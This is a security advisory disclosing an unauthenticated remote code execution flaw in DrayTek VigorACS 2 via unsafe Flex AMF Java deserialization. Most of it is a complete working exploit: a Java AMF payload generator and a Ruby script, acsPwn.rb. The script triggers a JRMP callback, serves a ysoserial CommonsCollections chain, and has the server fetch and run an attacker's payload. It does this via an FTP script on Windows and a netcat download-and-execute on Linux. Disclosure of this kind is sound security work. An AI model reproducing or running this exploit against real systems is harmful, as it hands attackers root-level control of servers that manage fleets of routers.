SSD Advisory – Vigor ACS Unsafe Flex AMF Java Object Deserialization
Credit to Author: SSD / Noam Rathaus| Date: Wed, 18 Apr 2018 05:24:56 +0000
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Vulnerability Summary
A vulnerability in Vigor ACS allows unauthenticated users to cause the product to execute arbitrary code.
VigorACS 2 “is a powerful centralized management software for Vigor Routers and VigorAPs, it is an integrated solution for configuring, monitoring, and maintenance of multiple Vigor devices from a single portal. VigorACS 2 is based on TR-069 standard, which is an application layer protocol that provides the secure communication between the server and CPEs, and allows Network Administrator to manage all the Vigor devices (CPEs) from anywhere on the Internet. VigorACS 2 Central Management is suitable for the enterprise customers with a large scale of DrayTek routers and APs, or the System Integrator who need to provide a real-time service for their customer’s DrayTek devices.”
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
“We’ll release the new version 2.2.2 to resolve this problem and inform the user about the CVE ID and reporter.
The release note will be updated on Wednesday (Apr 4, 2018).
Kindly let me know if you have further question, thank you!”
Vulnerability Details
VigorACS is a Java application that runs on both Windows and Linux. It exposes a number of servlets / endpoints under /ACSServer, which are used for various functions of VigorACS, such as the management of routers and firewalls using the TR-069 protocol [2].
One of the endpoints exposed by VigorACS, at /ACSServer/messabroker/amf, is an Adobe/Apache Flex service that is reachable by the managed routers and firewalls. This advisory shows that VigorACS uses a Flex version is vulnerable to CVE-2017-5641 [3], a vulnerability related to unsafe Java deserialization for Flex AMF
Technical Details
By sending an HTTP POST request with random data to /ACSServer/messagebroker/amf, the server will respond with a 200 OK and binary data that includes:
While in the server logs, a stack trace will be produced that includes the following:
1 2 3 | flex.messaging.io.amf.AmfMessageDeserializer.readMessage ... flex.messaging.endpoints.amf.SerializationFilter.invoke ... ... |
A quick Internet search revealed CVE-2017-5641 [3], which clearly states in its description:
“Previous versions of Apache Flex BlazeDS (4.7.2 and earlier) did not restrict which types were allowed for AMF(X) object deserialization by default. During the deserialization process code is executed that for several known types has undesired side-effects. Other, unknown types may also exhibit such behaviors. One vector in the Java standard library exists that allows an attacker to trigger possibly further exploitable Java deserialization of untrusted data. Other known vectors in third party libraries can be used to trigger remote code execution.”
Further reading in [4], [5] and [6] led to a proof of concept (Appendix A) that showed both on the server logs and in the HTTP responses that the deserialization could be exploited to achieve code execution.
A fully working exploit has been released with this advisory that works in the following way:
a) sends an AMF binary payload to /ACSServer/messagebroker/amf as described in [5] to trigger a Java Remote Method Protocol (JRMP) call back to the attacker
b) receives the JRMP connection with ysoserial’s JRMP listener [7]
c) configures ysoserial to respond with a CommonsCollections5 or CommonsCollections6 payload, as a vulnerable version of Apache Commons 3.1 is in the Java classpath of the server
d) executes code as root / SYSTEM
The exploit has been tested against the Linux and Windows Vigor ACS 2.2.1, although it requires a ysoserial jar patched for multi argument handling (a separate branch in [7], or alternative a ysoserial patched with CommonsCollections5Chained or CommonsCollections6Chained – see [8]).
Appendix A contains the Java code used to generate the AMF payload that will be sent in step a). This code is very similar to the one in [5], and it is highly recommended to read that advisory by Markus Wulftange of Code White for a better understanding of this vulnerability.
Appendix A
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | import flex.messaging.io.amf.MessageBody; import flex.messaging.io.amf.ActionMessage; import flex.messaging.io.SerializationContext; import flex.messaging.io.amf.AmfMessageSerializer; import java.io.*; public class ACSFlex { public static void main(String[] args) { Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1])); // serialize object to AMF message try { byte[] amf = new byte[0]; amf = serialize((unicastRef)); DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2])); os.write(amf); System.out.println(“Done, payload written to “ + args[2]); } catch (IOException e) { e.printStackTrace(); } } public static Object generateUnicastRef(String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); } public static byte[] serialize(Object data) throws IOException { MessageBody body = new MessageBody(); body.setData(data); ActionMessage message = new ActionMessage(); message.addBody(body); ByteArrayOutputStream out = new ByteArrayOutputStream(); AmfMessageSerializer serializer = new AmfMessageSerializer(); serializer.initialize(SerializationContext.getSerializationContext(), out, null); serializer.writeMessage(message); return out.toByteArray(); } } |
acsPwn.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | #!/usr/bin/ruby =begin === acsFlex.jar: import flex.messaging.io.amf.MessageBody; import flex.messaging.io.amf.ActionMessage; import flex.messaging.io.SerializationContext; import flex.messaging.io.amf.AmfMessageSerializer; import java.io.*; public class ACSFlex { public static void main(String[] args) { Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1])); // serialize object to AMF message try { byte[] amf = new byte[0]; amf = serialize((unicastRef)); DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2])); os.write(amf); System.out.println(“Done, payload written to ” + args[2]); } catch (IOException e) { e.printStackTrace(); } } public static Object generateUnicastRef(String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); } public static byte[] serialize(Object data) throws IOException { MessageBody body = new MessageBody(); body.setData(data); ActionMessage message = new ActionMessage(); message.addBody(body); ByteArrayOutputStream out = new ByteArrayOutputStream(); AmfMessageSerializer serializer = new AmfMessageSerializer(); serializer.initialize(SerializationContext.getSerializationContext(), out, null); serializer.writeMessage(message); return out.toByteArray(); } } === ysoserial.jar: – Use the multiarg branch of https://github.com/frohoff/ysoserial – Or patch ysoserial with CommonsCollections5Chained and CommonsCollections6Chain from https://github.com/frohoff/ysoserial/issues/71 === =end require ‘ftpd’ require ‘tmpdir’ require ‘net/http’ require ‘uri’ class String def black; “e[30m#{self}e[0m” end def red; “e[31m#{self}e[0m” end def green; “e[32m#{self}e[0m” end def brown; “e[33m#{self}e[0m” end def blue; “e[34m#{self}e[0m” end def magenta; “e[35m#{self}e[0m” end def cyan; “e[36m#{self}e[0m” end def gray; “e[37m#{self}e[0m” end def bg_black; “e[40m#{self}e[0m” end def bg_red; “e[41m#{self}e[0m” end def bg_green; “e[42m#{self}e[0m” end def bg_brown; “e[43m#{self}e[0m” end def bg_blue; “e[44m#{self}e[0m” end def bg_magenta; “e[45m#{self}e[0m” end def bg_cyan; “e[46m#{self}e[0m” end def bg_gray; “e[47m#{self}e[0m” end def bold; “e[1m#{self}e[22m” end def italic; “e[3m#{self}e[23m” end def underline; “e[4m#{self}e[24m” end def blink; “e[5m#{self}e[25m” end def reverse_color; “e[7m#{self}e[27m” end end # FTP server (Windows) class Driver def initialize(temp_dir) @temp_dir = temp_dir end def authenticate(user, password) # actually the client hasn’t downloaded it yet, just logged in, but whatever puts ‘[+] Payload has been downloaded, wait for execution!’.green.bold true end def file_system(user) Ftpd::DiskFileSystem.new(@temp_dir) end end def ftp_start (temp_dir, lhost, port) driver = Driver.new(temp_dir) server = Ftpd::FtpServer.new(driver) server.interface = lhost server.port = port server.start end def tcp_start (payload, port) pl = File.binread(payload) server = TCPServer.new port loop do Thread.start(server.accept) do |client| client.write(pl) client.close puts “[+] Payload has been downloaded, wait for execution!”.green.bold end end end puts “” puts “Draytek VigorACS 2 unauthenticated remote code execution (unsafe Java AMF deserialization)”.cyan.bold puts “CVE-TODO”.cyan.bold puts “Tested on version 2.2.1 for Windows and Linux, earlier versions are likely vulnerable”.cyan.bold puts “By Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security”.blue.bold puts “” if (ARGV.length < 5 || (ARGV[3] != “Linux” && ARGV[3] != “Windows”) || !File.file?(ARGV[4])) puts “Usage: ./acsPwn.rb <rhost> <rport> <lhost> <Windows|Linux> <payload_path> [ssl]”.bold puts ” rhost:tttDraytek Vigor ACS server host” puts ” rport:tttDraytek Vigor ACS server port” puts ” lhost:tttyour IP address” puts ” Windows|Linux:tttarget type” puts ” payload_path:ttPath to the payload that is going to be executed in the Vigor server” puts ” ssl:tttConnects to Vigor server using SSL (by default uses plain HTTP)” puts “” puts “NOTES:tThis exploit requires the ftpd gem installed and the java executable in the PATH.” puts “tThe included ysoserial.jar (patched for multiarg) and the included acsFlex.jar must be in the current directory.” puts “tTwo random TCP ports in the range 10000-65535 are used to receive connections from the target.” puts “” exit(–1) end # we can use ysoserial’s CommonsCollections5 or CommonsCollections6 exploit chain YSOSERIAL = “ysoserial-patched.jar ysoserial.exploit.JRMPListener JRMP_PORT CommonsCollections6Chained “ WINDOWS_CMD = %{‘cmd.exe /c @echo open SERVER PORT>script.txt&@echo binary>>script.txt&@echo get /PAYLOAD>>script.txt&@echo quit>>script.txt&@ftp -s:script.txt -v -A&@start PAYLOAD’} LINUX_CMD = %{‘nc –w 2 SERVER PORT > /tmp/PAYLOAD; chmod +x /tmp/PAYLOAD; /tmp/PAYLOAD‘} rhost = ARGV[0] rport = ARGV[1] lhost = ARGV[2].dup.force_encoding(‘ASCII’) os = ARGV[3] payload_path = ARGV[4] payload_name = File.basename(ARGV[4]) if ARGV.length > 5 && ARGV[5] == ‘ssl’ ssl = true else ssl = false end Dir.mktmpdir { |temp_dir| server_port = rand(10000..65535) FileUtils.cp(payload_path, temp_dir) puts “[+] Picked port #{server_port} for the #{(os == ‘Windows’ ? ‘FTP’ : ‘TCP’)} server”.cyan.bold # step 1: start the TCP or FTP server if os == ‘Windows’ ftp_start(temp_dir, lhost, server_port) else t = Thread.new{tcp_start(payload_path, server_port)} end # step 2: create the AMF payload puts “[+] Creating AMF payload…”.green.bold jrmp_port = rand(10000..65535) amf_file = temp_dir + “/payload.ser” system(“java -jar acsFlex.jar #{lhost} #{jrmp_port} #{amf_file}”) amf_payload = File.binread(amf_file) # step 3: start the ysoserial JRMP listener puts “[+] Picked port #{jrmp_port} for the JRMP server”.cyan.bold # build the command line argument that will be executed by the server cmd = (os == ‘Windows’ ? “java “ : “java -Dysoserial.prefix=’/bin/sh -c’ “) cmd += “-cp #{YSOSERIAL.gsub(‘JRMP_PORT’, jrmp_port.to_s)}” cmd_final = (os == ‘Windows’ ? WINDOWS_CMD : LINUX_CMD).gsub(“SERVER”, lhost).gsub(“PORT”, server_port.to_s).gsub(“PAYLOAD”, payload_name) puts “[+] Sending command #{cmd_final}”.green.bold jrmp_pid = spawn((cmd + cmd_final)) sleep 5 Process.detach(jrmp_pid) # step 4: fire the payload! uri = URI.parse(“http#{ssl ? ‘s’: ”}://#{rhost}:#{rport}”) Net::HTTP.start(uri.host, uri.port, (ssl ? {:use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE } : {})) do |http| http.post(‘/ACSServer/messagebroker/amf’, amf_payload) end puts “[+] AMF payload sent, waiting 15 seconds for payload download…”.green.bold sleep 15 Process.kill(“HUP”, jrmp_pid) if t t.terminate end puts “[*] Payload should have executed by now, exiting!”.bold } exit 0 |
References:
[1] https://www.draytek.com/en/products/central-management/vigoracs-2/
[2] https://www.draytek.com/en/faq/faq-vigoracs-si/vigoracs-2/how-to-register-a-cpe-to-vigoracs-2-server/
[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5641
[4] https://issues.apache.org/jira/browse/FLEX-35290
[5] http://codewhitesec.blogspot.ru/2017/04/amf.html
[6] https://github.com/mbechler/marshalsec
[7] https://github.com/frohoff/ysoserial
[8] https://github.com/frohoff/ysoserial/issues/71
